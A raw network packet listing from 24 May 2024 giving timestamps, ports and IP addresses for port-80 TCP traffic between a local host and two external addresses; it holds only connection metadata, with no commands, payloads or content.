May 24, 2024 13:42:04.891860962 CEST	80	49737	91.202.233.232	192.168.2.4
May 24, 2024 13:42:04.891871929 CEST	80	49737	91.202.233.232	192.168.2.4
May 24, 2024 13:42:04.891879082 CEST	49737	80	192.168.2.4	91.202.233.232
May 24, 2024 13:42:04.891882896 CEST	80	49737	91.202.233.232	192.168.2.4
May 24, 2024 13:42:04.891889095 CEST	49737	80	192.168.2.4	91.202.233.232
May 24, 2024 13:42:04.891895056 CEST	80	49737	91.202.233.232	192.168.2.4
May 24, 2024 13:42:04.891938925 CEST	49737	80	192.168.2.4	91.202.233.232
May 24, 2024 13:42:04.891938925 CEST	49737	80	192.168.2.4	91.202.233.232
May 24, 2024 13:42:04.892997026 CEST	80	49737	91.202.233.232	192.168.2.4
May 24, 2024 13:42:04.893008947 CEST	80	49737	91.202.233.232	192.168.2.4
May 24, 2024 13:42:04.893017054 CEST	80	49737	91.202.233.232	192.168.2.4
May 24, 2024 13:42:04.893028021 CEST	80	49737	91.202.233.232	192.168.2.4
May 24, 2024 13:42:04.893048048 CEST	49737	80	192.168.2.4	91.202.233.232
May 24, 2024 13:42:04.893069029 CEST	49737	80	192.168.2.4	91.202.233.232
May 24, 2024 13:42:04.893270969 CEST	80	49737	91.202.233.232	192.168.2.4
May 24, 2024 13:42:04.893284082 CEST	80	49735	5.42.66.10	192.168.2.4
May 24, 2024 13:42:04.893326044 CEST	49737	80	192.168.2.4	91.202.233.232
May 24, 2024 13:42:04.893341064 CEST	49735	80	192.168.2.4	5.42.66.10
May 24, 2024 13:42:04.893451929 CEST	80	49735	5.42.66.10	192.168.2.4
May 24, 2024 13:42:04.893496990 CEST	49735	80	192.168.2.4	5.42.66.10
May 24, 2024 13:42:04.893572092 CEST	80	49735	5.42.66.10	192.168.2.4
May 24, 2024 13:42:04.893616915 CEST	49735	80	192.168.2.4	5.42.66.10
May 24, 2024 13:42:04.893743992 CEST	80	49735	5.42.66.10	192.168.2.4
May 24, 2024 13:42:04.893786907 CEST	49735	80	192.168.2.4	5.42.66.10
May 24, 2024 13:42:04.893928051 CEST	80	49737	91.202.233.232	192.168.2.4
May 24, 2024 13:42:04.893939972 CEST	80	49737	91.202.233.232	192.168.2.4
May 24, 2024 13:42:04.893949032 CEST	80	49737	91.202.233.232	192.168.2.4
May 24, 2024 13:42:04.893970966 CEST	49737	80	192.168.2.4	91.202.233.232
May 24, 2024 13:42:04.893997908 CEST	49737	80	192.168.2.4	91.202.233.232
May 24, 2024 13:42:04.894447088 CEST	80	49737	91.202.233.232	192.168.2.4
May 24, 2024 13:42:04.894458055 CEST	80	49737	91.202.233.232	192.168.2.4
May 24, 2024 13:42:04.894468069 CEST	80	49737	91.202.233.232	192.168.2.4
May 24, 2024 13:42:04.894486904 CEST	80	49737	91.202.233.232	192.168.2.4
May 24, 2024 13:42:04.894495010 CEST	49737	80	192.168.2.4	91.202.233.232
May 24, 2024 13:42:04.894504070 CEST	80	49737	91.202.233.232	192.168.2.4
May 24, 2024 13:42:04.894516945 CEST	80	49737	91.202.233.232	192.168.2.4
May 24, 2024 13:42:04.894521952 CEST	49737	80	192.168.2.4	91.202.233.232
May 24, 2024 13:42:04.894547939 CEST	49737	80	192.168.2.4	91.202.233.232
May 24, 2024 13:42:04.894571066 CEST	49737	80	192.168.2.4	91.202.233.232
May 24, 2024 13:42:04.895236969 CEST	80	49737	91.202.233.232	192.168.2.4
May 24, 2024 13:42:04.895248890 CEST	80	49737	91.202.233.232	192.168.2.4
May 24, 2024 13:42:04.895258904 CEST	80	49735	5.42.66.10	192.168.2.4
May 24, 2024 13:42:04.895263910 CEST	80	49735	5.42.66.10	192.168.2.4
May 24, 2024 13:42:04.895273924 CEST	80	49735	5.42.66.10	192.168.2.4
May 24, 2024 13:42:04.895281076 CEST	49737	80	192.168.2.4	91.202.233.232
May 24, 2024 13:42:04.895306110 CEST	49737	80	192.168.2.4	91.202.233.232
May 24, 2024 13:42:04.895322084 CEST	49735	80	192.168.2.4	5.42.66.10
May 24, 2024 13:42:04.895354986 CEST	49735	80	192.168.2.4	5.42.66.10
May 24, 2024 13:42:04.899697065 CEST	80	49735	5.42.66.10	192.168.2.4
May 24, 2024 13:42:04.899738073 CEST	80	49737	91.202.233.232	192.168.2.4
May 24, 2024 13:42:04.899746895 CEST	49735	80	192.168.2.4	5.42.66.10
May 24, 2024 13:42:04.899761915 CEST	80	49737	91.202.233.232	192.168.2.4
May 24, 2024 13:42:04.899781942 CEST	49737	80	192.168.2.4	91.202.233.232
May 24, 2024 13:42:04.899790049 CEST	80	49737	91.202.233.232	192.168.2.4
May 24, 2024 13:42:04.899804115 CEST	49737	80	192.168.2.4	91.202.233.232
May 24, 2024 13:42:04.899820089 CEST	80	49737	91.202.233.232	192.168.2.4
May 24, 2024 13:42:04.899833918 CEST	49737	80	192.168.2.4	91.202.233.232
May 24, 2024 13:42:04.899846077 CEST	80	49737	91.202.233.232	192.168.2.4
May 24, 2024 13:42:04.899883986 CEST	80	49737	91.202.233.232	192.168.2.4
May 24, 2024 13:42:04.899888039 CEST	49737	80	192.168.2.4	91.202.233.232
May 24, 2024 13:42:04.899909019 CEST	80	49737	91.202.233.232	192.168.2.4
May 24, 2024 13:42:04.899934053 CEST	80	49737	91.202.233.232	192.168.2.4
May 24, 2024 13:42:04.899935007 CEST	49737	80	192.168.2.4	91.202.233.232
May 24, 2024 13:42:04.899956942 CEST	49737	80	192.168.2.4	91.202.233.232
May 24, 2024 13:42:04.899960041 CEST	80	49737	91.202.233.232	192.168.2.4
May 24, 2024 13:42:04.899986982 CEST	49737	80	192.168.2.4	91.202.233.232
May 24, 2024 13:42:04.899990082 CEST	80	49737	91.202.233.232	192.168.2.4
May 24, 2024 13:42:04.900002956 CEST	49737	80	192.168.2.4	91.202.233.232
May 24, 2024 13:42:04.900017023 CEST	80	49737	91.202.233.232	192.168.2.4
May 24, 2024 13:42:04.900047064 CEST	80	49735	5.42.66.10	192.168.2.4
May 24, 2024 13:42:04.900072098 CEST	80	49735	5.42.66.10	192.168.2.4
May 24, 2024 13:42:04.900077105 CEST	49737	80	192.168.2.4	91.202.233.232
May 24, 2024 13:42:04.900096893 CEST	80	49735	5.42.66.10	192.168.2.4
May 24, 2024 13:42:04.900099039 CEST	49735	80	192.168.2.4	5.42.66.10
May 24, 2024 13:42:04.900118113 CEST	49735	80	192.168.2.4	5.42.66.10
May 24, 2024 13:42:04.900125027 CEST	80	49735	5.42.66.10	192.168.2.4
May 24, 2024 13:42:04.900141001 CEST	49735	80	192.168.2.4	5.42.66.10
May 24, 2024 13:42:04.900151014 CEST	80	49737	91.202.233.232	192.168.2.4
May 24, 2024 13:42:04.900170088 CEST	49735	80	192.168.2.4	5.42.66.10
May 24, 2024 13:42:04.900176048 CEST	80	49737	91.202.233.232	192.168.2.4
May 24, 2024 13:42:04.900196075 CEST	49737	80	192.168.2.4	91.202.233.232
May 24, 2024 13:42:04.900207043 CEST	80	49737	91.202.233.232	192.168.2.4
May 24, 2024 13:42:04.900223970 CEST	80	49737	91.202.233.232	192.168.2.4
May 24, 2024 13:42:04.900223970 CEST	49737	80	192.168.2.4	91.202.233.232
May 24, 2024 13:42:04.900238037 CEST	80	49737	91.202.233.232	192.168.2.4
May 24, 2024 13:42:04.900249004 CEST	80	49737	91.202.233.232	192.168.2.4
May 24, 2024 13:42:04.900252104 CEST	49737	80	192.168.2.4	91.202.233.232
May 24, 2024 13:42:04.900259972 CEST	80	49737	91.202.233.232	192.168.2.4
May 24, 2024 13:42:04.900264978 CEST	49737	80	192.168.2.4	91.202.233.232
May 24, 2024 13:42:04.900271893 CEST	80	49737	91.202.233.232	192.168.2.4
May 24, 2024 13:42:04.900278091 CEST	49737	80	192.168.2.4	91.202.233.232
May 24, 2024 13:42:04.900284052 CEST	80	49737	91.202.233.232	192.168.2.4
May 24, 2024 13:42:04.900311947 CEST	49737	80	192.168.2.4	91.202.233.232
May 24, 2024 13:42:04.900332928 CEST	49737	80	192.168.2.4	91.202.233.232
May 24, 2024 13:42:04.901166916 CEST	80	49737	91.202.233.232	192.168.2.4
May 24, 2024 13:42:04.901192904 CEST	80	49737	91.202.233.232	192.168.2.4
May 24, 2024 13:42:04.901217937 CEST	80	49737	91.202.233.232	192.168.2.4
May 24, 2024 13:42:04.901218891 CEST	49737	80	192.168.2.4	91.202.233.232
May 24, 2024 13:42:04.901237011 CEST	49737	80	192.168.2.4	91.202.233.232
May 24, 2024 13:42:04.901245117 CEST	80	49737	91.202.233.232	192.168.2.4
May 24, 2024 13:42:04.901262045 CEST	49737	80	192.168.2.4	91.202.233.232
May 24, 2024 13:42:04.901274920 CEST	80	49735	5.42.66.10	192.168.2.4
May 24, 2024 13:42:04.901283026 CEST	49737	80	192.168.2.4	91.202.233.232
May 24, 2024 13:42:04.901300907 CEST	80	49735	5.42.66.10	192.168.2.4
May 24, 2024 13:42:04.901316881 CEST	49735	80	192.168.2.4	5.42.66.10
May 24, 2024 13:42:04.901326895 CEST	80	49735	5.42.66.10	192.168.2.4
May 24, 2024 13:42:04.901346922 CEST	49735	80	192.168.2.4	5.42.66.10
May 24, 2024 13:42:04.901364088 CEST	49735	80	192.168.2.4	5.42.66.10
May 24, 2024 13:42:04.902240038 CEST	80	49735	5.42.66.10	192.168.2.4
May 24, 2024 13:42:04.902251005 CEST	80	49737	91.202.233.232	192.168.2.4
May 24, 2024 13:42:04.902259111 CEST	80	49737	91.202.233.232	192.168.2.4
May 24, 2024 13:42:04.902268887 CEST	80	49737	91.202.233.232	192.168.2.4
May 24, 2024 13:42:04.902280092 CEST	80	49737	91.202.233.232	192.168.2.4
May 24, 2024 13:42:04.902283907 CEST	49735	80	192.168.2.4	5.42.66.10
May 24, 2024 13:42:04.902290106 CEST	80	49737	91.202.233.232	192.168.2.4
May 24, 2024 13:42:04.902299881 CEST	80	49737	91.202.233.232	192.168.2.4
May 24, 2024 13:42:04.902301073 CEST	49737	80	192.168.2.4	91.202.233.232
May 24, 2024 13:42:04.902338028 CEST	49737	80	192.168.2.4	91.202.233.232
May 24, 2024 13:42:04.902338028 CEST	49737	80	192.168.2.4	91.202.233.232
May 24, 2024 13:42:04.905384064 CEST	80	49737	91.202.233.232	192.168.2.4
May 24, 2024 13:42:04.905394077 CEST	80	49737	91.202.233.232	192.168.2.4
May 24, 2024 13:42:04.905401945 CEST	80	49737	91.202.233.232	192.168.2.4
May 24, 2024 13:42:04.905410051 CEST	80	49737	91.202.233.232	192.168.2.4
May 24, 2024 13:42:04.905419111 CEST	80	49737	91.202.233.232	192.168.2.4
May 24, 2024 13:42:04.905427933 CEST	80	49737	91.202.233.232	192.168.2.4
May 24, 2024 13:42:04.905430079 CEST	49737	80	192.168.2.4	91.202.233.232
May 24, 2024 13:42:04.905440092 CEST	80	49737	91.202.233.232	192.168.2.4
May 24, 2024 13:42:04.905450106 CEST	80	49737	91.202.233.232	192.168.2.4
May 24, 2024 13:42:04.905452013 CEST	49737	80	192.168.2.4	91.202.233.232
May 24, 2024 13:42:04.905459881 CEST	80	49737	91.202.233.232	192.168.2.4
May 24, 2024 13:42:04.905462027 CEST	49737	80	192.168.2.4	91.202.233.232
May 24, 2024 13:42:04.905471087 CEST	80	49737	91.202.233.232	192.168.2.4
May 24, 2024 13:42:04.905482054 CEST	80	49735	5.42.66.10	192.168.2.4
May 24, 2024 13:42:04.905487061 CEST	49737	80	192.168.2.4	91.202.233.232
May 24, 2024 13:42:04.905489922 CEST	80	49735	5.42.66.10	192.168.2.4
May 24, 2024 13:42:04.905498981 CEST	80	49735	5.42.66.10	192.168.2.4
May 24, 2024 13:42:04.905508041 CEST	80	49735	5.42.66.10	192.168.2.4
May 24, 2024 13:42:04.905509949 CEST	49737	80	192.168.2.4	91.202.233.232
May 24, 2024 13:42:04.905528069 CEST	80	49737	91.202.233.232	192.168.2.4
May 24, 2024 13:42:04.905529022 CEST	49735	80	192.168.2.4	5.42.66.10
May 24, 2024 13:42:04.905538082 CEST	80	49737	91.202.233.232	192.168.2.4
May 24, 2024 13:42:04.905546904 CEST	80	49737	91.202.233.232	192.168.2.4
May 24, 2024 13:42:04.905555964 CEST	49735	80	192.168.2.4	5.42.66.10
May 24, 2024 13:42:04.905556917 CEST	80	49737	91.202.233.232	192.168.2.4
May 24, 2024 13:42:04.905567884 CEST	80	49737	91.202.233.232	192.168.2.4
May 24, 2024 13:42:04.905572891 CEST	49737	80	192.168.2.4	91.202.233.232
May 24, 2024 13:42:04.905577898 CEST	80	49737	91.202.233.232	192.168.2.4
May 24, 2024 13:42:04.905596018 CEST	49737	80	192.168.2.4	91.202.233.232
May 24, 2024 13:42:04.905620098 CEST	49737	80	192.168.2.4	91.202.233.232
May 24, 2024 13:42:04.905639887 CEST	49737	80	192.168.2.4	91.202.233.232
May 24, 2024 13:42:04.906233072 CEST	80	49737	91.202.233.232	192.168.2.4
May 24, 2024 13:42:04.906244040 CEST	80	49737	91.202.233.232	192.168.2.4
May 24, 2024 13:42:04.906251907 CEST	80	49737	91.202.233.232	192.168.2.4
May 24, 2024 13:42:04.906263113 CEST	80	49737	91.202.233.232	192.168.2.4
May 24, 2024 13:42:04.906271935 CEST	80	49737	91.202.233.232	192.168.2.4
May 24, 2024 13:42:04.906280041 CEST	80	49737	91.202.233.232	192.168.2.4
May 24, 2024 13:42:04.906284094 CEST	80	49737	91.202.233.232	192.168.2.4
May 24, 2024 13:42:04.906292915 CEST	80	49737	91.202.233.232	192.168.2.4
May 24, 2024 13:42:04.906327009 CEST	49737	80	192.168.2.4	91.202.233.232
May 24, 2024 13:42:04.906327009 CEST	49737	80	192.168.2.4	91.202.233.232
May 24, 2024 13:42:04.906327009 CEST	49737	80	192.168.2.4	91.202.233.232
May 24, 2024 13:42:04.906347036 CEST	49737	80	192.168.2.4	91.202.233.232
May 24, 2024 13:42:04.907084942 CEST	80	49737	91.202.233.232	192.168.2.4
May 24, 2024 13:42:04.907095909 CEST	80	49737	91.202.233.232	192.168.2.4
May 24, 2024 13:42:04.907105923 CEST	80	49737	91.202.233.232	192.168.2.4
May 24, 2024 13:42:04.907115936 CEST	80	49737	91.202.233.232	192.168.2.4
May 24, 2024 13:42:04.907124996 CEST	80	49737	91.202.233.232	192.168.2.4
May 24, 2024 13:42:04.907135963 CEST	80	49735	5.42.66.10	192.168.2.4
May 24, 2024 13:42:04.907145023 CEST	80	49735	5.42.66.10	192.168.2.4
May 24, 2024 13:42:04.907150030 CEST	49737	80	192.168.2.4	91.202.233.232
May 24, 2024 13:42:04.907150030 CEST	49737	80	192.168.2.4	91.202.233.232
May 24, 2024 13:42:04.907169104 CEST	49737	80	192.168.2.4	91.202.233.232
May 24, 2024 13:42:04.907205105 CEST	49735	80	192.168.2.4	5.42.66.10
May 24, 2024 13:42:04.907958031 CEST	80	49735	5.42.66.10	192.168.2.4
May 24, 2024 13:42:04.907969952 CEST	80	49735	5.42.66.10	192.168.2.4
May 24, 2024 13:42:04.907979965 CEST	80	49735	5.42.66.10	192.168.2.4
May 24, 2024 13:42:04.907989979 CEST	80	49735	5.42.66.10	192.168.2.4
May 24, 2024 13:42:04.908009052 CEST	49735	80	192.168.2.4	5.42.66.10
May 24, 2024 13:42:04.908024073 CEST	49735	80	192.168.2.4	5.42.66.10
May 24, 2024 13:42:04.908128023 CEST	80	49735	5.42.66.10	192.168.2.4
May 24, 2024 13:42:04.908140898 CEST	80	49735	5.42.66.10	192.168.2.4
May 24, 2024 13:42:04.908163071 CEST	49735	80	192.168.2.4	5.42.66.10
May 24, 2024 13:42:04.908178091 CEST	49735	80	192.168.2.4	5.42.66.10
May 24, 2024 13:42:04.909017086 CEST	80	49735	5.42.66.10	192.168.2.4
May 24, 2024 13:42:04.909029007 CEST	80	49735	5.42.66.10	192.168.2.4
May 24, 2024 13:42:04.909037113 CEST	80	49735	5.42.66.10	192.168.2.4
May 24, 2024 13:42:04.909046888 CEST	80	49735	5.42.66.10	192.168.2.4
May 24, 2024 13:42:04.909054995 CEST	80	49735	5.42.66.10	192.168.2.4
May 24, 2024 13:42:04.909065962 CEST	80	49735	5.42.66.10	192.168.2.4
May 24, 2024 13:42:04.909068108 CEST	49735	80	192.168.2.4	5.42.66.10
May 24, 2024 13:42:04.909076929 CEST	80	49735	5.42.66.10	192.168.2.4
May 24, 2024 13:42:04.909096003 CEST	49735	80	192.168.2.4	5.42.66.10
May 24, 2024 13:42:04.909096003 CEST	49735	80	192.168.2.4	5.42.66.10
May 24, 2024 13:42:04.909132004 CEST	49735	80	192.168.2.4	5.42.66.10
May 24, 2024 13:42:04.909873962 CEST	80	49735	5.42.66.10	192.168.2.4
May 24, 2024 13:42:04.909884930 CEST	80	49735	5.42.66.10	192.168.2.4
May 24, 2024 13:42:04.909913063 CEST	49735	80	192.168.2.4	5.42.66.10
May 24, 2024 13:42:04.910058022 CEST	80	49735	5.42.66.10	192.168.2.4
May 24, 2024 13:42:04.910068989 CEST	80	49735	5.42.66.10	192.168.2.4
May 24, 2024 13:42:04.910077095 CEST	80	49735	5.42.66.10	192.168.2.4
May 24, 2024 13:42:04.910085917 CEST	80	49735	5.42.66.10	192.168.2.4
May 24, 2024 13:42:04.910094976 CEST	80	49735	5.42.66.10	192.168.2.4
May 24, 2024 13:42:04.910099983 CEST	49735	80	192.168.2.4	5.42.66.10
May 24, 2024 13:42:04.910151005 CEST	49735	80	192.168.2.4	5.42.66.10
May 24, 2024 13:42:04.910151005 CEST	49735	80	192.168.2.4	5.42.66.10
May 24, 2024 13:42:04.910785913 CEST	80	49735	5.42.66.10	192.168.2.4
May 24, 2024 13:42:04.910795927 CEST	80	49735	5.42.66.10	192.168.2.4
May 24, 2024 13:42:04.910804987 CEST	80	49735	5.42.66.10	192.168.2.4
May 24, 2024 13:42:04.910811901 CEST	80	49735	5.42.66.10	192.168.2.4
May 24, 2024 13:42:04.910815954 CEST	80	49735	5.42.66.10	192.168.2.4
May 24, 2024 13:42:04.910820007 CEST	80	49735	5.42.66.10	192.168.2.4
May 24, 2024 13:42:04.910826921 CEST	49735	80	192.168.2.4	5.42.66.10
May 24, 2024 13:42:04.910860062 CEST	49735	80	192.168.2.4	5.42.66.10
May 24, 2024 13:42:04.911487103 CEST	80	49735	5.42.66.10	192.168.2.4
May 24, 2024 13:42:04.911498070 CEST	80	49735	5.42.66.10	192.168.2.4
May 24, 2024 13:42:04.911505938 CEST	80	49735	5.42.66.10	192.168.2.4
May 24, 2024 13:42:04.911523104 CEST	49735	80	192.168.2.4	5.42.66.10
May 24, 2024 13:42:04.911549091 CEST	49735	80	192.168.2.4	5.42.66.10
May 24, 2024 13:42:04.911657095 CEST	80	49735	5.42.66.10	192.168.2.4
May 24, 2024 13:42:04.911668062 CEST	80	49735	5.42.66.10	192.168.2.4
May 24, 2024 13:42:04.911674976 CEST	80	49735	5.42.66.10	192.168.2.4
May 24, 2024 13:42:04.911684036 CEST	80	49735	5.42.66.10	192.168.2.4
May 24, 2024 13:42:04.911698103 CEST	49735	80	192.168.2.4	5.42.66.10
May 24, 2024 13:42:04.911721945 CEST	49735	80	192.168.2.4	5.42.66.10
May 24, 2024 13:42:04.912698030 CEST	80	49735	5.42.66.10	192.168.2.4
May 24, 2024 13:42:04.912708998 CEST	80	49735	5.42.66.10	192.168.2.4
May 24, 2024 13:42:04.912717104 CEST	80	49735	5.42.66.10	192.168.2.4
May 24, 2024 13:42:04.912724972 CEST	80	49735	5.42.66.10	192.168.2.4
May 24, 2024 13:42:04.912734032 CEST	80	49735	5.42.66.10	192.168.2.4
May 24, 2024 13:42:04.912741899 CEST	80	49735	5.42.66.10	192.168.2.4
May 24, 2024 13:42:04.912745953 CEST	49735	80	192.168.2.4	5.42.66.10
May 24, 2024 13:42:04.912751913 CEST	80	49735	5.42.66.10	192.168.2.4
May 24, 2024 13:42:04.912764072 CEST	49735	80	192.168.2.4	5.42.66.10
May 24, 2024 13:42:04.912787914 CEST	49735	80	192.168.2.4	5.42.66.10
May 24, 2024 13:42:04.913554907 CEST	80	49735	5.42.66.10	192.168.2.4
May 24, 2024 13:42:04.913566113 CEST	80	49735	5.42.66.10	192.168.2.4
May 24, 2024 13:42:04.913573980 CEST	80	49735	5.42.66.10	192.168.2.4
May 24, 2024 13:42:04.913583994 CEST	80	49735	5.42.66.10	192.168.2.4
May 24, 2024 13:42:04.913594007 CEST	80	49735	5.42.66.10	192.168.2.4
May 24, 2024 13:42:04.913594961 CEST	49735	80	192.168.2.4	5.42.66.10
May 24, 2024 13:42:04.913605928 CEST	80	49735	5.42.66.10	192.168.2.4
May 24, 2024 13:42:04.913626909 CEST	49735	80	192.168.2.4	5.42.66.10
May 24, 2024 13:42:04.913636923 CEST	49735	80	192.168.2.4	5.42.66.10
May 24, 2024 13:42:04.914427996 CEST	80	49735	5.42.66.10	192.168.2.4
May 24, 2024 13:42:04.914438009 CEST	80	49735	5.42.66.10	192.168.2.4
May 24, 2024 13:42:04.914469957 CEST	49735	80	192.168.2.4	5.42.66.10
May 24, 2024 13:42:04.914598942 CEST	80	49735	5.42.66.10	192.168.2.4
May 24, 2024 13:42:04.914608955 CEST	80	49735	5.42.66.10	192.168.2.4
May 24, 2024 13:42:04.914647102 CEST	49735	80	192.168.2.4	5.42.66.10
May 24, 2024 13:42:04.918041945 CEST	80	49735	5.42.66.10	192.168.2.4
May 24, 2024 13:42:04.918082952 CEST	49735	80	192.168.2.4	5.42.66.10
May 24, 2024 13:42:04.918205976 CEST	80	49733	5.42.66.10	192.168.2.4
May 24, 2024 13:42:04.918216944 CEST	80	49733	5.42.66.10	192.168.2.4
May 24, 2024 13:42:04.918261051 CEST	49733	80	192.168.2.4	5.42.66.10
May 24, 2024 13:42:04.918567896 CEST	80	49733	5.42.66.10	192.168.2.4
May 24, 2024 13:42:04.918612003 CEST	49733	80	192.168.2.4	5.42.66.10
May 24, 2024 13:42:04.918745041 CEST	80	49733	5.42.66.10	192.168.2.4
May 24, 2024 13:42:04.918788910 CEST	49733	80	192.168.2.4	5.42.66.10
May 24, 2024 13:42:04.919009924 CEST	80	49733	5.42.66.10	192.168.2.4
May 24, 2024 13:42:04.919019938 CEST	80	49733	5.42.66.10	192.168.2.4
May 24, 2024 13:42:04.919028997 CEST	80	49733	5.42.66.10	192.168.2.4
May 24, 2024 13:42:04.919033051 CEST	80	49733	5.42.66.10	192.168.2.4
May 24, 2024 13:42:04.919043064 CEST	80	49733	5.42.66.10	192.168.2.4
May 24, 2024 13:42:04.919054031 CEST	80	49733	5.42.66.10	192.168.2.4
May 24, 2024 13:42:04.919063091 CEST	49733	80	192.168.2.4	5.42.66.10
May 24, 2024 13:42:04.919095039 CEST	49733	80	192.168.2.4	5.42.66.10
May 24, 2024 13:42:04.919243097 CEST	80	49733	5.42.66.10	192.168.2.4
May 24, 2024 13:42:04.919289112 CEST	49733	80	192.168.2.4	5.42.66.10
May 24, 2024 13:42:04.919317007 CEST	80	49733	5.42.66.10	192.168.2.4
May 24, 2024 13:42:04.919358015 CEST	49733	80	192.168.2.4	5.42.66.10
May 24, 2024 13:42:04.919423103 CEST	80	49733	5.42.66.10	192.168.2.4
May 24, 2024 13:42:04.919471025 CEST	49733	80	192.168.2.4	5.42.66.10
May 24, 2024 13:42:04.922421932 CEST	80	49733	5.42.66.10	192.168.2.4
May 24, 2024 13:42:04.922434092 CEST	80	49733	5.42.66.10	192.168.2.4
May 24, 2024 13:42:04.922461033 CEST	49733	80	192.168.2.4	5.42.66.10
May 24, 2024 13:42:04.922482967 CEST	49733	80	192.168.2.4	5.42.66.10
May 24, 2024 13:42:04.922550917 CEST	80	49733	5.42.66.10	192.168.2.4
May 24, 2024 13:42:04.922590017 CEST	49733	80	192.168.2.4	5.42.66.10
May 24, 2024 13:42:04.923516035 CEST	80	49733	5.42.66.10	192.168.2.4
May 24, 2024 13:42:04.923571110 CEST	80	49733	5.42.66.10	192.168.2.4
May 24, 2024 13:42:04.923579931 CEST	49733	80	192.168.2.4	5.42.66.10
May 24, 2024 13:42:04.923600912 CEST	49733	80	192.168.2.4	5.42.66.10
May 24, 2024 13:42:04.923607111 CEST	80	49733	5.42.66.10	192.168.2.4
May 24, 2024 13:42:04.923641920 CEST	49733	80	192.168.2.4	5.42.66.10
May 24, 2024 13:42:04.923644066 CEST	80	49733	5.42.66.10	192.168.2.4
May 24, 2024 13:42:04.923717976 CEST	49733	80	192.168.2.4	5.42.66.10
May 24, 2024 13:42:04.923765898 CEST	80	49737	91.202.233.232	192.168.2.4
May 24, 2024 13:42:04.923803091 CEST	80	49737	91.202.233.232	192.168.2.4
May 24, 2024 13:42:04.923811913 CEST	49737	80	192.168.2.4	91.202.233.232
May 24, 2024 13:42:04.923832893 CEST	80	49737	91.202.233.232	192.168.2.4
May 24, 2024 13:42:04.923847914 CEST	49737	80	192.168.2.4	91.202.233.232
May 24, 2024 13:42:04.923873901 CEST	49737	80	192.168.2.4	91.202.233.232
May 24, 2024 13:42:04.923973083 CEST	80	49737	91.202.233.232	192.168.2.4
May 24, 2024 13:42:04.924021006 CEST	49737	80	192.168.2.4	91.202.233.232
May 24, 2024 13:42:04.924024105 CEST	80	49737	91.202.233.232	192.168.2.4
May 24, 2024 13:42:04.924057961 CEST	80	49737	91.202.233.232	192.168.2.4
May 24, 2024 13:42:04.924082041 CEST	49737	80	192.168.2.4	91.202.233.232
May 24, 2024 13:42:04.924091101 CEST	80	49737	91.202.233.232	192.168.2.4
May 24, 2024 13:42:04.924102068 CEST	49737	80	192.168.2.4	91.202.233.232
May 24, 2024 13:42:04.924134970 CEST	49737	80	192.168.2.4	91.202.233.232
May 24, 2024 13:42:04.924155951 CEST	80	49737	91.202.233.232	192.168.2.4
May 24, 2024 13:42:04.924190044 CEST	80	49737	91.202.233.232	192.168.2.4
May 24, 2024 13:42:04.924212933 CEST	49737	80	192.168.2.4	91.202.233.232
May 24, 2024 13:42:04.924223900 CEST	80	49737	91.202.233.232	192.168.2.4
May 24, 2024 13:42:04.924237967 CEST	49737	80	192.168.2.4	91.202.233.232
May 24, 2024 13:42:04.924257040 CEST	80	49737	91.202.233.232	192.168.2.4
May 24, 2024 13:42:04.924262047 CEST	49737	80	192.168.2.4	91.202.233.232
May 24, 2024 13:42:04.924305916 CEST	49737	80	192.168.2.4	91.202.233.232
May 24, 2024 13:42:04.924307108 CEST	80	49737	91.202.233.232	192.168.2.4
May 24, 2024 13:42:04.924341917 CEST	80	49737	91.202.233.232	192.168.2.4
May 24, 2024 13:42:04.924348116 CEST	49737	80	192.168.2.4	91.202.233.232
May 24, 2024 13:42:04.924376011 CEST	80	49737	91.202.233.232	192.168.2.4
May 24, 2024 13:42:04.924396038 CEST	49737	80	192.168.2.4	91.202.233.232
May 24, 2024 13:42:04.924408913 CEST	80	49737	91.202.233.232	192.168.2.4
May 24, 2024 13:42:04.924413919 CEST	49737	80	192.168.2.4	91.202.233.232
May 24, 2024 13:42:04.924453020 CEST	49737	80	192.168.2.4	91.202.233.232
May 24, 2024 13:42:04.924679995 CEST	80	49737	91.202.233.232	192.168.2.4
May 24, 2024 13:42:04.924712896 CEST	80	49737	91.202.233.232	192.168.2.4
May 24, 2024 13:42:04.924745083 CEST	80	49733	5.42.66.10	192.168.2.4
May 24, 2024 13:42:04.924757004 CEST	49737	80	192.168.2.4	91.202.233.232
May 24, 2024 13:42:04.924778938 CEST	80	49733	5.42.66.10	192.168.2.4
May 24, 2024 13:42:04.924799919 CEST	49733	80	192.168.2.4	5.42.66.10
May 24, 2024 13:42:04.924812078 CEST	80	49733	5.42.66.10	192.168.2.4
May 24, 2024 13:42:04.924813986 CEST	49733	80	192.168.2.4	5.42.66.10
May 24, 2024 13:42:04.924845934 CEST	80	49737	91.202.233.232	192.168.2.4
May 24, 2024 13:42:04.924849987 CEST	49733	80	192.168.2.4	5.42.66.10
May 24, 2024 13:42:04.924880981 CEST	49737	80	192.168.2.4	91.202.233.232
May 24, 2024 13:42:04.924896955 CEST	80	49737	91.202.233.232	192.168.2.4
May 24, 2024 13:42:04.924930096 CEST	80	49737	91.202.233.232	192.168.2.4
May 24, 2024 13:42:04.924932003 CEST	49737	80	192.168.2.4	91.202.233.232
May 24, 2024 13:42:04.924963951 CEST	80	49737	91.202.233.232	192.168.2.4
May 24, 2024 13:42:04.924976110 CEST	49737	80	192.168.2.4	91.202.233.232
May 24, 2024 13:42:04.924997091 CEST	80	49737	91.202.233.232	192.168.2.4
May 24, 2024 13:42:04.925009966 CEST	49737	80	192.168.2.4	91.202.233.232
May 24, 2024 13:42:04.925029039 CEST	80	49733	5.42.66.10	192.168.2.4
May 24, 2024 13:42:04.925034046 CEST	49737	80	192.168.2.4	91.202.233.232
May 24, 2024 13:42:04.925062895 CEST	80	49733	5.42.66.10	192.168.2.4
May 24, 2024 13:42:04.925069094 CEST	49733	80	192.168.2.4	5.42.66.10
May 24, 2024 13:42:04.925102949 CEST	80	49733	5.42.66.10	192.168.2.4
May 24, 2024 13:42:04.925105095 CEST	49733	80	192.168.2.4	5.42.66.10
May 24, 2024 13:42:04.925137997 CEST	49733	80	192.168.2.4	5.42.66.10
May 24, 2024 13:42:04.925141096 CEST	80	49733	5.42.66.10	192.168.2.4
May 24, 2024 13:42:04.925170898 CEST	49733	80	192.168.2.4	5.42.66.10
May 24, 2024 13:42:04.925173044 CEST	80	49733	5.42.66.10	192.168.2.4
May 24, 2024 13:42:04.925205946 CEST	80	49733	5.42.66.10	192.168.2.4
May 24, 2024 13:42:04.925237894 CEST	80	49737	91.202.233.232	192.168.2.4
May 24, 2024 13:42:04.925256968 CEST	49733	80	192.168.2.4	5.42.66.10
May 24, 2024 13:42:04.925273895 CEST	80	49737	91.202.233.232	192.168.2.4
